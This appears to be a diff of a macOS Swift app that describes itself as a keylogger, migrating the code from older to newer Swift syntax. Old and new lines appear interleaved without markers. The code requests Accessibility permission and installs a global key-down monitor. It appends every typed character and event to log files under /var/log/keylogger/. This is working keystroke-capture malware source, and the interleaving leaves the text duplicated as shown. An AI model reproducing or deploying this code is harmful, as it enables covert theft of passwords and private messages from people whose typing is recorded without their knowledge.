@@ -9,88 +9,74 @@
import Cocoa
extension String {
func appendLineToURL( fileURL: NSURL ) throws {
try self . stringByAppendingString ( " \n " ) . appendToURL ( fileURL)
}
func appendLineToURL( fileURL: NSURL ) throws {
try self . appendLineToURL ( fileURL : fileURL)
}
func appendToURL( fileURL: NSURL ) throws {
let data = self . dataUsingEncoding ( NSUTF8StringEncoding ) !
try data. appendToURL ( fileURL)
}
func appendToURL( fileURL: NSURL ) throws {
let data = self . data ( using : String . Encoding . utf8 ) !
try data. appendToURL ( fileURL: fileURL )
}
}
extension NSData {
func appendToURL( fileURL: NSURL ) throws {
if let fileHandle = try ? NSFileHandle ( forWritingToURL: fileURL) {
defer {
fileHandle. closeFile ( )
}
fileHandle. seekToEndOfFile ( )
fileHandle. writeData ( self )
}
else {
try writeToURL ( fileURL, options: . DataWritingAtomic)
}
extension Data {
func appendToURL( fileURL: NSURL ) throws {
if let fileHandle = try ? FileHandle ( forWritingTo: fileURL as URL ) {
defer {
fileHandle. closeFile ( )
}
fileHandle. seekToEndOfFile ( )
fileHandle. write ( self as Data )
} else {
try write ( to: fileURL as URL , options: . atomic)
}
}
}
func getDocumentsDirectory( ) -> NSString {
let paths = NSSearchPathForDirectoriesInDomains ( . DocumentDirectory , . UserDomainMask , true )
let documentsDirectory = paths [ 0 ]
return documentsDirectory
let paths = NSSearchPathForDirectoriesInDomains ( . documentDirectory , . userDomainMask , true )
let documentsDirectory = paths [ 0 ]
return documentsDirectory as NSString
}
func acquirePrivileges( ) -> Bool {
let accessEnabled = AXIsProcessTrustedWithOptions (
[ kAXTrustedCheckOptionPrompt. takeUnretainedValue ( ) as String : true ] )
let accessEnabled = AXIsProcessTrustedWithOptions (
[ kAXTrustedCheckOptionPrompt. takeUnretainedValue ( ) as String : true ] as CFDictionary )
if accessEnabled != true {
print ( " You need to enable the keylogger in the System Prefrences " )
}
return accessEnabled == true ;
if accessEnabled != true {
print ( " You need to enable the keylogger in the System Prefrences " )
}
return accessEnabled == true ;
}
@NSApplicationMain
class AppDelegate : NSObject , NSApplicationDelegate {
func applicationDidFinishLaunching( aNotification: NSNotification ) {
// Insert code here to initialize your application
acquirePrivileges ( ) ;
// keyboard listeners
NSEvent . addGlobalMonitorForEventsMatchingMask (
NSEventMask . KeyDownMask, handler: { ( event: NSEvent ) in
print ( String ( event. characters!) )
do {
let url = NSURL ( fileURLWithPath: " /Users/johndel/projects/swift/test/keys.txt " )
try String ( event. characters!) . appendToURL ( url)
}
catch {
print ( " Could not write to file " )
}
do {
let url = NSURL ( fileURLWithPath: " /Users/johndel/projects/swift/test/events.txt " )
try String ( event) . appendLineToURL ( url)
}
catch {
print ( " Could not write to file " )
}
} )
func applicationDidFinishLaunching( aNotification: NSNotification ) {
// Insert code here to initialize your application
acquirePrivileges ( ) ;
}
func applicationWillTerminate( aNotification: NSNotification ) {
// Insert code here to tear down your application
}
}
// keyboard listeners
NSEvent . addGlobalMonitorForEvents (
matching: NSEventMask . keyDown, handler: { ( event: NSEvent ) in
print ( String ( event. characters!) as Any )
do {
let url = NSURL ( fileURLWithPath: " /var/log/keylogger/keys.txt " )
try String ( event. characters!) . appendToURL ( fileURL: url)
} catch {
print ( " Could not write to file " )
} do {
let url = NSURL ( fileURLWithPath: " /var/log/keylogger/events.txt " )
try String ( describing: event) . appendLineToURL ( fileURL: url)
}
catch {
print ( " Could not write to file " )
}
}
)
}
func applicationWillTerminate( aNotification: NSNotification ) {
// Insert code here to tear down your application
}
}